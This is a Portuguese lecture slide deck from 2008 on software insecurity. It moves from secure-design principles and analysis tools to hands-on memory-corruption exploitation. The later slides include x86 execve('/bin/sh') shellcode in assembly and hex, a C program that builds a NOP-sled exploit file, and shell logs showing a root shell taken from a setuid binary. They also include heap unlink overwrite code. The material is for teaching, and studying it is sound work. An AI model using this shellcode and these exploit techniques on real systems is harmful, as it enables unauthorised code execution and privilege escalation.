O documento discute princípios de segurança de software, causas de falhas em software, consequências quando o software falha, e técnicas para analisar software, incluindo ferramentas como depuradores, disassemblers e fuzzers.
1. (In)Segurança de Software
Quebrando Códigos
Rafael Rosa
10/2008
rafaeltbh *nospan* yahoo dot com dot br
2. Agenda
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Falhas de Software
Princípios de Segurança de Software
Introdução à Overflow de Memória
Stack Overflow
Heap Overflow
Integer Overflow
Format String Bug
Técnicas Modernas
WorX
Stack Protector
ASLR
3. Agenda
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Falhas de Software
Princípios de Segurança de Software
Introdução à Overflow de Memória
Stack Overflow
Heap Overflow
Integer Overflow
Format String Bug
Técnicas Modernas
WorX
Stack Protector
ASLR
4. O que é Software?
Definição
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Software é uma sequência de instruções a serem seguidas
na manipulação, redirecionamento, ou modificação de
um conjunto de dados.
Conjunto de procedimentos, documentação e estruturas
de dados que visam manipular dados.
5. Software Sempre Falha
Causas
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Falhas de software só existem porque as pessoas que os
constroem estão susceptíveis a falhas.
Falta de experiência para reconhecer e remover falhas e
defeitos na fase de projeto e de desenvolvimento.
Falta de conhecimento de princípios básicos de
desenvolvimento seguro.
6. Quando o Software Falha
Consequências
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Expõe dados confidenciais à usuários não
autorizados.
Programa pode terminar a execução ao receber
entradas não esperadas.
Pode permitir injeção e execução de código malicioso.
7. Correção de Software Defeituoso
Manutenção
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Desenvolvedores só podem aplicar patchs em bugs
conhecidos. Guardados a sete chaves por grupos de
invasores.
Patchs geralmente não são aplicados por
desconhecimento dos usuários e por comodismo dos
administradores de sistema (sistema funciona então
não vou mexer, minha sistema não vai ser atacado).
8. Correção de Software Defeituoso
Manutenção
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Correções precisam ser feitas muito rapidamente por
necessidades de mercado, com isso o que deveria
apenas corrigir uma vulnerabilidade pode introduzir
um série de novas vulnerabilidades.
Geralmente corrigem os sintomas, não a real causa do
problema.
9. Desenvolvimento de Software
Dificuldades
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Complexidade.
Extensibilidade.
Conectividade.
10. Dificuldades
Complexidade
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Software está se tornando cada vez mais complexo, o
que aumenta a quantidade de defeitos de projeto.
Número cada vez maior de linhas de código. Mais
bugs.
Menor funcionalidade significa menos risco de
exposição.
11. Dificuldades
Extensibilidade
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Permite a adição de novas funcionalidades a um
sistema. Plug-ins, drivers de dispositivo e módulos
dinamicamente carregados.
Recursos que permitem extensibilidade devem ser
bem projetados. Difícil proteger algo que ainda não
foi desenvolvido.
12. Dificuldades
Conectividade
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Popularização da Internet. Enorme quantidade de
sistemas de software trocando informações sigilosas
via rede.
Alta conectividade entre usuários domésticos e infra-
estruturas críticas.
Aumento do número de vetores de ataque.
13. (In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Bug.
Falha.
Defeito.
Problemas
Desenvolvimento de Software
14. Problemas
Bug
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Existe somente em código, são erros comuns
cometidos por programadores.
Copiar 20 bytes para um buffer de tamanho 10.
15. Problemas
Defeito
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Condição anormal que pode existir em qualquer
artefato na fase de desenvolvimento de software.
No início de uma comunicação criptografada os dois nós
trocam as chaves assimétricas, e então se inicia um sessão
criptografada. Através dessa sessão os dois nós trocam uma
chave simétrica, de modo que os dados possam então ser
criptografados pela mesma.
16. Problemas
Falha
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Comportamento diferente do esperado. Defeito ou bug
ativado.
Quando um atacante se coloca no meio de uma conexão
criptografada desde o início do handshake, ele pode
burlar toda a segurança imposta pelo método de chave
assimétrica. Com isso é possível obter a chave simétrica e
então escutar ou injetar dados na conexão.
17. Agenda
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Falhas de Software
Princípios de Segurança de Software
Introdução à Overflow de Memória
Stack Overflow
Heap Overflow
Integer Overflow
Format String Bug
Técnicas Modernas
WorX
Stack Protector
ASLR
18. Segurança de Software
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Segurança é relativa. Software tem que ser seguro
contra o quê? E contra quem?
Mecanismos de segurança não podem ser
simplesmente adicionados à um sistema, tem que ser
considerados desde o início do projeto.
19. Segurança de Software
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Cada ambiente tem que ser analisado cuidadosamente
para não afetar a usabilidade, funcionalidade e
eficiência do sistema de software.
Software seguro deve prover confidenciabilidade,
autenticação, controle de acesso, integridade,
disponibilidade e não-repúdio.
20. Software Seguro
Proteção da ponta mais fraca
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Software é tão seguro quanto sua ponta mais fraca.
Atacantes vão seguir pelo caminho de menor
resistência.
21. Software Seguro
Defesa em profundidade
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Mecanismos de segurança devem ser redundantes.
Permite vários pontos de falha.
Evita que um único ponto de falha comprometa a
segurança do sistema como um todo.
Aplicação deve ser projetada como se todos os outros
mecanismos de segurança do sistema tivessem sido
burlados.
22. Software Seguro
Falhar de modo seguro
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Falhas são inevitáveis e precisam ser planejadas de
modo a não expôr o sistema. Recuperação de falhas é
um aspecto essencial da engenharia de segurança.
Após uma falha, alterações devem ser desfeitas de
modo que o sistema volte a um estado seguro.
Valores de retorno devem ser cuidadosamente
checados.
23. Software Seguro
Princípio de menor privilégio
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Mínimo de permissão durante o menor tempo
possível.
Desistir de permissões elevadas assim que ações que
as exigiam forem completadas.
Se uma vulnerabilidade for explorada o atacante terá
tantas regalias quanto o processo quebrado.
24. Software Seguro
Compartimentalização
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Separar o sistema em tantos compartimentos quanto
for possível, de modo que cada compartimento tenha o
mínimo de privilégio necessário para realizar as
operações de que está encarregado.
Confinar códigos com alto nível de privilégio. Todo
dano ocorrerá em um “ambiente” controlado.
25. Software Seguro
KISS
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Complexidade aumenta o risco de defeitos.
Reutilização de componentes que já provaram sua
qualidade deve ser praticada.
Não é inteligente criar rotinas próprias de criptografia
e garantia de integridade.
26. Software Seguro
Privacidade
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Feedback para o usuário é diferente de prover muita
informação.
Privacidade dos usuários não deve ser comprometida.
Dados pessoais devem ser bem protegidos.
27. Software Seguro
Esconder segredos não é fácil
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Ofuscamento de código e segurança por obscuridade
não funcionam. Acesso ao binário significa acesso à
informação.
Deve-se considerar que o atacante conhece o sistema
tanto quanto o desenvolvedor.
28. Software Seguro
Não confiar em interfaces externas
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Toda interface com o software é um possível vetor de
ataque.
Entrada de qualquer interface do sistema deve ser
vista com desconfiança. Não se deve assumir nada em
relação a I/O.
Suposições incorretas sobre o ambiente de execução
do sistema resultam em problemas de segurança.
29. Software Seguro
Mecanismo menos comum
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Entidades diferentes não devem compartilhar
mecanismos que permitem acessos à recursos.
O mesmo usuário de um SGBD não deve ser
compartilhado entre duas aplicações. Exploração de
uma aplicação pode comprometer a outra.
30. Software Seguro
Mediação Completa
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Em toda operação realizada por um usuário deve-se
validar a identidade do agente e checar as permissões
do mesmo em relação à tarefa em questão.
31. Analisando Software
Ferramentas
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Depurador.
Disassembler.
Descompilador.
Ferramenta de auditoria de segurança.
Fuzzer.
32. Analisando Software
Depurador
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Executa um programa passo a passo, permite análise
de registradores, dumps de memória, configuração de
pontos de interrupção,
OllyDbg, SofIce, gdb.
33. Analisando Software
Disassembler
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Faz engenharia reversa do código de máquina gerando
código assembly.
IDAPro, OllyDbg, gdb, Valgrind.
34. Analisando Software
Descompilador
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Faz engenharia reversa do código de máquina gerando
código de alto nível. Código um tanto obscuro.
Depende da quantidade de informação da linguagem
de alto nível contida no binário.
Rec, dcc.
35. Analisando Software
Ferramenta de auditoria de segurança
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Faz auditoria de código fonte em busca de padrões
previamente conhecidos como “problemáticos”.
Descrevem o problema encontrado e propõe
correções.
RATS, Flawfinder, ITS4.
36. Analisando Software
Fuzzers
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Injeta dados inválidos, mal formatados, maliciosos, e
inesperados em pontos de entrada de dados do
software. Se ocorrer algo diferente do esperado, o
defeito é detectado.
Os dados de entrada por sem baseados tanto em white-
box quanto em black-box.
FuzzGrind, tmin.
37. Agenda
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Falhas de Software
Princípios de Segurança de Software
Introdução à Overflow de Memória
Stack Overflow
Heap Overflow
Integer Overflow
Format String Bug
Técnicas Modernas
WorX
Stack Protector
ASLR
38. Buffer Overflow
O que é?
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Ocorre quando um bug permite que se possa
extravasar a quantidade de memória reservada à um
buffer, permitindo que dados sejam gravados em
endereços de memória contíguos ao mesmo
Erro de programação comum em linguagem C. Muitos
poderes exigem muitas responsabilidades.
39. Buffer Overflow
E daí?
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Esse endereço contíguo pode ser um frame de pilha,
endereço de retorno, ponteiro de função ou uma
variável de controle da aplicação.
Esquemas de proteção em software podem ser
facilmente quebrados caso sejam controlados por
dados (flags, variáveis de controle) em memória.
41. Buffer Overflow
Área de memória vulnerável
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Overflows podem ocorrer na stack ou na heap.
Na heap são mais difíceis de explorar e de identificar.
42. Agenda
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Falhas de Software
Princípios de Segurança de Software
Introdução à Overflow de Memória
Stack Overflow
Heap Overflow
Integer Overflow
Format String Bug
Técnicas Modernas
WorX
Stack Protector
ASLR
43. Stack Overflow
Stack
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Área da memória reservada para chamadas de função
e armazenamento de variáveis locais.
esp var2
var1
buffer1
ebp ebp salvo
ret
arg1
arg2
44. Stack Overflow
Mapeamento da Stack
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Sistemas unix mapeiam a stack para regiões altas de
memória:
0xbffeb000 - 0xc0000000
Sistemas Windows mapeiam para regiões baixas:
0x0022ff1f - 0x00096cbf
45. Stack Overflow
Mapa de memória no Linux
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
memória baixa não usada
.init, .text, .rodata
.data, .bss
heap
Bibliotecas
compartilhadas
stack
memória alta kernel
46. Stack Overflow
Mapa de memória no Windows
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
memória baixa kernel
stack
heap
.text
.data, .rodata, .bss
Bibliotecas
memória alta compartilhadas
47. Stack Overflow
Programa vulnerável
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
void func(char *str){ int main(int argc, char *argv[]){
char buffer[16];
if(argc != 2){
strcpy(buffer, str); printf("uso: %s <param>n", argv[0]);
printf("%sn", buffer); return 1;
} }
func(argv[1]);
printf("fimn");
}
[rafael@centos stack]$ ./stack_overflow_ex1 AAAABBBBCCCCDDDDEEEEFFFF
AAAABBBBCCCCDDDDEEEEFFFF
Segmentation fault
[rafael@centos stack]$
48. Stack Overflow
Stack do programa
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
crescimento da stack
buffer[16] EBP anterior end retorno ptr str
esp ebp
49. Stack Overflow
Vetor de injeção
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Injetar vetor de ataque de modo a controlar o endereço
de retorno.
vetor de injeção
buffer[16] EBP anterior end retorno ptr str
50. Stack Overflow
Executando código inativo
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
void foo(){
printf("nunca entra aquin"); int main(){
exit(1); func();
} printf("fimn");
}
void func(){
char buffer[16];
strcpy(buffer, "AAAABBBBCCCCDDD");
*((long*)(buffer+20)) = (long)&foo;
printf("%sn", buffer);
}
[rafael@centos stack]$ ./stack_overflow_ex2
AAAABBBBCCCCDDD
nunca entra aqui
[rafael@centos stack]$
51. Stack Overflow
Controlando endereço de retorno
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Endereço de retorno sobrescrito.
AAAA...DDD EBP anterior ptr foo ...
buffer[16] EBP anterior end retorno ...
esp ebp crescimento da
stack
52. Stack Overflow
Executando um shell
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
E se fosse um shell?
void foo(){
char *params[2];
params[0] = "/bin/sh";
params[1] = NULL;
execve(params[0], params, NULL);
}
[rafael@centos stack]$ ./stack_overflow_ex3
AAAABBBBCCCCDDD
sh-3.2$
53. Stack Overflow
Planejando o ataque
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Não basta sobrescrever o endereço de retorno.
Precisamos de um shellcode no nosso vetor de injeção.
Endereço de retorno deve apontar para o payload, de
modo a redirecionar o fluxo para o código de execução
do shell.
54. Stack Overflow
Escrevendo shellcode
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Desassemblando chamada à execve().
movl $0x80484a8,0xfffffff4(%ebp) “/bin/sh'
movl $0x0,0xfffffff8(%ebp) NULL
mov 0xfffffff4(%ebp),%edx
movl $0x0,0x8(%esp) NULL
lea 0xfffffff4(%ebp),%eax
mov %eax,0x4(%esp) /bin/sh
mov %edx,(%esp) /bin/sh, NULL
call 0x8048280 <execve>
55. Stack Overflow
Escrevendo shellcode
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Desassemblando execve().
mov 0x8(%ebp), %ebx “/bin/sh”
mov 0xc(%ebp), %ecx {“/bin/sh”, NULL}
mov 0x10(%ebp), %edx NULL
mov $0xb, %eax 0xb
int $0x80
56. Stack Overflow
Escrevendo shellcode
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
eax recebe 0xb.
Ponteiro para “/bin/sh” deve estar em ebx.
Ponteiro de strings em ecx.
Ponteiro NULL em edx.
57. Stack Overflow
Escrevendo shellcode
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
BITS 32
section .text
global _start
_start:
push 0 ; empilha '0'
push 0x68732f2f ; empilha “//sh”
push 0x6e69622f ; empilha “/bin”
mov ebx, esp ; ebx aponta para “/bin//sh”
push 0 ; empilha NULL
push ebx ; empilha endereço de “/bin//sh”
mov ecx, esp ; ecx aponta para ponteiros de strings
mov eax, 0xb ; eax recebe 0xb (execve)
int 0x80 ; chamada de sistema
59. Stack Overflow
Binário gerado
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Binário gerado possui 0x00, o que acarretaria no
término de uma operação de string.
60. Stack Overflow
Escrevendo shellcode sem 0x00
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
BITS 32
section .text
global _start
_start:
xor eax,eax ; zera eax
push eax ; empilha eax
push 0x68732f2f ; empilha “//sh”
push 0x6e69622f ; empilha “/bin”
mov ebx, esp ; ebx aponta para “/bin//sh”
push eax ; empilha NULL
push ebx ; empilha endereço de “/bin//sh”
mov ecx, esp ; ecx aponta para ponteiros de strings
mov al, 0xb ; al recebe 0xb (execve)
int 0x80 ; chamada de sistema
64. Stack Overflow
Codificando exploit
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Para criar o vetor de injeção levar em conta tamanho do
buffer, alinhamento dos bytes, e restrições de entrada.
Payload pode ser colocado em qualquer localização de
memória conhecida
65. Stack Overflow
Codificando exploit
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
ret deve estar nesse intevalo
NOPs Shellcode ret... ret ret ret...
buffer[] EBP anterior end retorno ...
esp ebp crescimento da stack
66. Stack Overflow
Codificando exploit
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Como prever a posição correta de retorno?
Stack geralmente é alocada no mesmo endereço.
Conhecendo o início da stack fica fácil adivinhar onde o
buffer a ser explorado está localizado.
67. Stack Overflow
Codificando exploit
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
#define RETADDRS 0xbffff600
char shellcode[]= "x31xc0x50x68x2fx2fx73x68x68x2fx62x69"
"x6ex89xe3x50x53x89xe1xb0x0bxcdx80";
int main(int argc, char **argv){
FILE *badfile;
long *ptr;
unsigned int ret;
int n, i;
char buffer[313];
if(argc != 2){
fprintf(stderr, "uso: %s <ret>n", argv[0]);
return 1;
}
68. Stack Overflow
Codificando exploit
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
ret = RETADDRS - atoi(argv[1]);
memset(&buffer, 0x90, 312);
memcpy(buffer+120, shellcode, strlen(shellcode));
ptr = buffer + 120 + strlen(shellcode);
/*alinhando em 4 bytes*/
ptr = ((char*)ptr) + (4 - strlen(shellcode)%4);
n = (&buffer[311] - (char*)ptr)/4;
for(i = 0; i < n; i++)
ptr[i] = ret;
buffer[312] = '0';
badfile = fopen("./badfile_ex5.bin", "w");
fwrite(buffer, 313, 1, badfile);
fclose(badfile);
}
69. Stack Overflow
Ganhando um shell
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
[rafael@centos stack]$ ./exploit_stack_overflow_ex5 300
[rafael@centos stack]$ ./stack_overflow_ex5 `cat badfile_ex5.bin `
�������������������������������������������
�������������������������������������������
����������������������������������1�Ph//shh/bin��
PS��1Ұ ̀��������������������������
�������������������������������������������
�������������������������������������������
�������������������������������������������
������������
sh-3.2$
Pra que serve isso?
70. Stack Overflow
Ganhando acesso irrestrito
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Se o programa tivesse permissões elevadas:
[root@centos stack]# chown root stack_overflow_ex5
[root@centos stack]# chmod +s stack_overflow_ex5
[root@centos stack]# ls -l stack_overflow_ex5
-rwsrwsrwx 1 root root 9109 2009-08-12 16:08 stack_overflow_ex5
[rafael@centos stack]$ ./exploit_stack_overflow_ex5 450
[rafael@centos stack]$ ./stack_overflow_ex5 `cat badfile_ex5.bin `
������������������������������������������
������������������������������������������
������������������������������������1�Ph//shh/bin
��PS��1Ұ ̀�������������������
������������������������������������������
������������������������������������������
������������������������
# whoami
root
#
71. Stack Overflow
Terminador não calculado
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Operações de buffer são feitas sem levar em
consideração o byte NULL de terminação da string.
Dependendo da função de tratamento o terminador
pode ou não ser colocado.
Se não for colocado, a string pode ser tratada como se
fosse maior do que realmente é.
Se for colocado, o byte seguinte à string será
sobrescrito com 0x00.
72. Stack Overflow
No terminator
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
#define MAXLEN 128
int func1(char *str1, char *str2){
char buffer[MAXLEN];
memset(buffer, 0xff, MAXLEN);
strncpy(buffer, str1, MAXLEN-1);
strncat(buffer, str2, MAXLEN - strlen(buffer)-1);
printf("%sn", buffer);
}
/*função de auxílio, já que o frame da main é protegido*/
int func(char *str1, char *str2){
int x=0;
func1(str1, str2);
}
73. Stack Overflow
No terminator
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
int main(int argc, char *argv[]){
if(argc != 3){
fprintf(stderr, "uso %s <arg1> <arg2>n", argv[0]);
return 1;
}
func(argv[1], argv[2]);
}
74. Stack Overflow
A técnica
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Quando MAXLEN-1 bytes são copiados em strncpy,
o terminador não é escrito.
strlen(buffer) será maior que MAXLEN-1, fazendo a
operação resultar em um valor negativo, que quando
interpretado como unsigned representa um valor
muito grande. Com isso acontecerá a concatenação.
O final do buffer é o primeiro byte 0x00 a partir do
início do mesmo.
75. Stack Overflow
A técnica
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Pilha do programa vulnerável payload injetado
buf shellcode
ebp ebp
retaddr retaddr
str1 str1
str2 str2
x
ebp
retaddr ret...
str1
str2
76. Stack Overflow
O ataque
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Os 128 bytes do buffer serão preenchidos com o
payload.
Mais 80 bytes serão passados com o endereço de
retorno.
[rafael@centos stack]$ ../get_esp `cat badfile_nonull.bin `
ESP: 0xbffff444
[rafael@centos stack]$
77. Stack Overflow
O ataque
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Deve-se considerar o tamanho do buffer:
ret = 0xbffff444 - 128
78. Stack Overflow
O ataque
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
[rafael@centos stack]$ ./nonull `cat badfile_nonull.bin `
�������������������������������������������
�������������������������������������������
������������������1�Ph//shh/bin��PS���
̀�H�����`������������������������������������
�������������������������������������������
�����
sh-3.2$ exit
exit
[rafael@centos stack]$
79. Stack Overflow
Off by one
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
int func1(char *str){
char buf[200]; int main(int argc, char *argv[]){
strcpy(buf, "argv[1] = "); if(argc != 2){
strncat(buf, str, sizeof(buf) - strlen(buf) ); fprintf(stderr, "uso %s
<arg>n", argv[0]);
printf("%sn", buf); return 1;
} }
/*função de auxílio já que o frame da main é func(argv[1]);
protegido*/ }
int func(char *str){
func1(str);
}
80. Stack Overflow
A técnica
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Consiste na falsificação do frame de pilha da função
chamadora.
Pilha do programa vulnerável payload injetado
shellcode Quando a função
buf chamadora
retornar, o valor
ret...
apontado pelo
ebp ebp ebp injetado + 4
retaddr tomará o controle
retaddr
do eip.
str str
ebp ebp
retaddr retaddr
81. Stack Overflow
A técnica
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Como sobrescrevemos o byte menos significativo do
ebp, o deslocamento máximo do ebp da função
chamadora é 255 bytes.
Quanto menor o valor do LSB do ebp salvo, menor
será o deslocamento, e quanto menor o deslocamento,
pode-se garantir que o novo ebp apontará para o fim
do buffer.
Preenchendo o início do buffer com o endereço do
payload o fluxo será redirecionado para o código
injetado.
82. Stack Overflow
O ataque
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Dos 200 bytes do buffer sobram 190 para a entrada do
programa
[rafael@centos stack]$ ../get_esp `cat badfile_off_by_one.bin `
ESP: 0xbffff454
[rafael@centos stack]$
O LSB deve ser menor.
[rafael@centos stack]$ export PADDING=`perl -e 'print “A”x80'`
[rafael@centos stack]$ ../get_esp `cat badfile_off_by_one.bin `
ESP: 0xbffff3f4
[rafael@centos stack]$
83. Stack Overflow
O ataque
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Deve-se considerar o tamanho do buffer:
ret = 0xbffff3f4 - 200
84. Stack Overflow
O ataque
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
[rafael@centos stack]$ ./off_by_one `cat badfile_off_by_one.bin `
Argv[1] = �������������������������������������
�������������������������������������������
���������������������1�Ph//shh/bin��PS���
̀,���,���,���,���,���,���,���,���,���,���,���,�
��,���,���,���,
sh-3.2$ exit
exit
[rafael@centos stack]$
85. Agenda
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Falhas de Software
Princípios de Segurança de Software
Introdução à Overflow de Memória
Stack Overflow
Heap Overflow
Integer Overflow
Format String Bug
Técnicas Modernas
WorX
Stack Protector
ASLR
86. Heap Overflow
Heap
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Área da memória reservada para alocação dinâmica de
blocos de memória.
Cada bloco alocado possui um cabeçalho de controle.
Gerenciada e organizada por algorítimos complexos.
87. Heap Overflow
Cabeçalho da heap
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
chunk A prev_size prev_size prev_size
size 00010000b 00010000b
fd
bk dados dados
chunk B prev_size
size 00010001b 00010001b
fd próximo livre
bk dados anterior livre
chunk C prev_size 00010000b
size tam & PREV_INUSE tam
fd próximo livre próximo livre
bk anterior livre anterior livre
88. Heap Overflow
Campos do cabeçalho
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
prev_size: Caso o chunk anterior (fisicamente) esteja
livre, contém tamanho deste chunk, caso contrário, é
usado como espaço para dados do chunk anterior.
size: tamanho em bytes (múltiplos de 8) do chunk
atual. Dois bits menos significativos PREV_INUSE e
IS_MMAPPED.
89. Heap Overflow
Campos do cabeçalho
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
fd: próximo chunk na bin. Caso chunk esteja alocado
é usado como área de dados.
bk: chunk anterior na bin. Caso chunk esteja alocado
é usado como área de dados.
90. Heap Overflow
Organização da heap
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Chunks livres ficam em uma lista duplamente
encadeada chamada bin.
Essa lista é controlada pelos campos fd e bk do
cabeçalho.
Há uma bin para cada tamanho de chunk (8, 64, 512,
etc).
91. Heap Overflow
Organização da heap
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Quando free() é chamada em um endereço de
memória (área de dados de um chunk), os chunks
fisicamente adjacentes são checados a fim de fazer
uma fusão gerando um chunk maior.
Assim sendo, o chunk livre tem que ser retirado da bin
onde se encontra, e só então a fusão pode acontecer.
92. Heap Overflow
Organização da heap
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
unlink() é chamada no chunk.
#define unlink( P,BK,FD) {
BK = P->bk;
FD = P->fd;
FD->bk = BK;
BK->fd = FD;
}
93. Heap Overflow
Organização da heap
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Controlando fd e bk do chunk P é possível
sobrescrever qualquer endereço de memória.
94. Heap Overflow
Alterando terceiro chunk
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
char payload[] = /*jmp*/
"xebx0a”
“AAAAAAAAAA”
/*shellcode*/
"x31xc0x50x68x2fx2fx73x68x68x2fx62x69"
"x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcd"
"x80";
int main (void){
int *aux;
void (*foo)() = NULL;
char *ptr1, *ptr2;
ptr1 = malloc (128);
ptr2 = malloc (16);
95. Heap Overflow
Alterando terceiro chunk
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
aux = ptr2;
*aux = ((char*)&foo) - 12; /* FD 2*/
aux++;
*aux = payload; /* BK 2*/
aux = ptr2+16;
*aux = 0xdefaced; /* prev_size 3*/
aux++;
*aux = 0xdefaced & ~0x1; /*size 3*/
free (ptr1);
if( foo )
foo();
}
96. Heap Overflow
Alterando terceiro chunk
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
fd do segundo chunk recebe o endereço a ser
sobrescrito menos 12 (FD->bk = FD+12).
bk recebe valor (comprimento de um ponteiro) a ser
colocado no endereço alvo.
O campo size do terceiro chunk recebe um valor
qualquer em que o bit PREV_INUSE esteja
desativado.
97. Heap Overflow
Alterando terceiro chunk
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Quando free() é chamada para desalocar o primeiro
chunk, o campo size do terceiro chunk é testado, e
como o bit PREV_INUSE está desativado unlink()
será chamada no segundo chunk de modo que se possa
fazer a junção do primeiro e do segundo.
foo então recebe o endereço de payload. payload+8
(BK->fd = BK+8) recebe endereço de foo menos 12.
98. Heap Overflow
Alterando terceiro chunk
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Como são sobrescritos 4 bytes a partir de payload+8
haverão instruções ilegais no meio do shellcode.
payload+8
jmp 0xa dummy shellcode
0xa
[rafael@centos heap]$ ./heap_overflow_ex1
sh-3.2$
99. Heap Overflow
Forjando terceiro chunk
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
char payload[] = /*jmp*/
"xebx0a”
“AAAAAAAAAA”
/*shellcode*/
"x31xc0x50x68x2fx2fx73x68x68x2fx62x69"
"x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcd"
"x80";
int main(){
int *aux;
void (*foo)() = NULL;
char *ptr1, *ptr2;
ptr1 = malloc (128);
ptr2 = malloc (16);